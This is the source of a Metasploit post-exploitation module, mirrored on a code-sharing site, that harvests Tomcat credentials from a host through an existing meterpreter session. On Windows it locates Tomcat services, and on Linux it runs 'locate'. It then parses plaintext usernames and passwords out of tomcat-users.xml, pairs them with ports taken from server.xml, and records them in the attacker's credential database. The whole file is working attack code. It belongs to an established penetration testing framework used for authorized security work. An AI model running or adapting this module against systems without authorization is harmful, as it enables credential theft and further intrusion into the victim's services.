Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/tomcat_gather.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Windows::Services
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Gather Tomcat Credentials',
15
'Description' => %q{
16
This module will attempt to collect credentials from Tomcat services running on the machine.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [
20
'Koen Riepe <[email protected]>', # Module author
21
],
22
'Platform' => [ 'win', 'linux' ],
23
'SessionTypes' => [ 'meterpreter' ],
24
'Notes' => {
25
'Stability' => [CRASH_SAFE],
26
'SideEffects' => [],
27
'Reliability' => []
28
}
29
)
30
)
31
end
32
33
@username = []
34
@password = []
35
@port = []
36
@paths = []
37
38
def report_creds(user, pass, port)
39
return if user.blank? || pass.blank?
40
41
# Assemble data about the credential objects we will be creating
42
credential_data = {
43
origin_type: :session,
44
post_reference_name: fullname,
45
private_data: pass,
46
private_type: :password,
47
session_id: session_db_id,
48
username: user,
49
workspace_id: myworkspace_id
50
}
51
52
credential_core = create_credential(credential_data)
53
54
if !port.is_a?(Integer)
55
port = 8080
56
print_status("Port not an Integer, defaulting to port #{port} for creds database")
57
end
58
59
login_data = {
60
core: credential_core,
61
status: Metasploit::Model::Login::Status::UNTRIED,
62
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
63
port: port,
64
service_name: 'Tomcat',
65
protocol: 'tcp',
66
workspace_id: myworkspace_id
67
}
68
create_credential_login(login_data)
69
end
70
71
def gather_win
72
print_status('Windows OS detected, enumerating services')
73
tomcat_home_array = []
74
service_list.each do |service|
75
if service[:name].downcase.include? 'tomcat'
76
print_good('Tomcat service found')
77
tomcat_home_array.push(service_info(service[:name])[:path].split('\\bin\\')[0])
78
end
79
end
80
81
if tomcat_home_array.empty?
82
print_status('No Tomcat home can be determined')
83
return
84
end
85
86
tomcat_home_array.each do |tomcat_home|
87
if tomcat_home.include? '"'
88
tomcat_home = tomcat_home.split('"')[1]
89
end
90
91
conf_path = "#{tomcat_home}\\conf\\tomcat-users.xml"
92
93
if exist?(conf_path)
94
print_status("#{conf_path} found!")
95
xml = read_file(conf_path).split("\n")
96
97
comment_block = false
98
xml.each do |line|
99
if line.include?('<user username=') && !comment_block
100
@username.push(line.split('<user username="')[1].split('"')[0])
101
@password.push(line.split('password="')[1].split('"')[0])
102
@paths.push(conf_path)
103
elsif line.include?('<!--')
104
comment_block = true
105
elsif line.include?('-->') && comment_block
106
comment_block = false
107
end
108
end
109
end
110
111
port_path = "#{tomcat_home}\\conf\\server.xml"
112
if exist?(port_path)
113
xml = read_file(port_path).split("\n")
114
end
115
comment_block = false
116
xml.each do |line|
117
if line.include?('<Connector') && !comment_block
118
i = 0
119
while i < @username.count
120
@port.push(line.split('<Connector port="')[1].split('"')[0].to_i)
121
i += 1
122
end
123
elsif line.include?('<!--')
124
comment_block = true
125
elsif line.include?('-->') && comment_block
126
comment_block = false
127
end
128
end
129
end
130
end
131
132
def gather_nix
133
print_status('Unix OS detected')
134
user_files = cmd_exec('locate tomcat-users.xml').split("\n")
135
if !user_files.empty?
136
user_files.each do |path|
137
next unless exist?(path)
138
139
print_status("#{path} found")
140
begin
141
xml = read_file(path).split("\n")
142
comment_block = false
143
xml.each do |line|
144
if line.include?('<user username=') && !comment_block
145
@username.push(line.split('<user username="')[1].split('"')[0])
146
@password.push(line.split('password="')[1].split('"')[0])
147
@paths.push(path)
148
elsif line.include?('<!--')
149
comment_block = true
150
elsif line.include?('-->') && comment_block
151
comment_block = false
152
end
153
end
154
rescue StandardError
155
print_error("Cannot open #{path} you probably don't have permission to open the file or parsing failed")
156
end
157
end
158
else
159
print_status('No tomcat installation has been detected')
160
end
161
162
port_path = cmd_exec('locate server.xml').split("\n")
163
if !port_path.empty?
164
port_path.each do |path|
165
next unless exist?(path) && path.include?('tomcat')
166
167
print_status("Attempting to extract Tomcat listening ports from #{path}")
168
begin
169
xml = read_file(path).split("\n")
170
comment_block = false
171
xml.each do |line|
172
if line.include?('<Connector') && !comment_block
173
i = 0
174
while i < @username.count
175
@port.push(line.split('<Connector port="')[1].split('"')[0].to_i)
176
i += 1
177
end
178
elsif line.include?('<!--')
179
comment_block = true
180
elsif line.include?('-->') && comment_block
181
comment_block = false
182
end
183
end
184
rescue StandardError
185
print_status("Cannot open #{path} you probably don't have permission to open the file or parsing failed")
186
end
187
end
188
else
189
print_status('Failed to detect tomcat service port')
190
end
191
end
192
193
def run
194
if sysinfo
195
if sysinfo['OS'].include?('Windows')
196
gather_win
197
else
198
gather_nix
199
end
200
else
201
print_error('Incompatible session type, sysinfo is not available.')
202
end
203
204
if @username.empty?
205
print_status('No user credentials have been found')
206
end
207
208
i = 0
209
while i < @username.count
210
print_good("Username and password found in #{@paths[i]} - #{@username[i]}:#{@password[i]}")
211
report_creds(@username[i], @password[i], @port[i])
212
i += 1
213
end
214
215
@username = []
216
@password = []
217
@port = []
218
@paths = []
219
end
220
end
221
222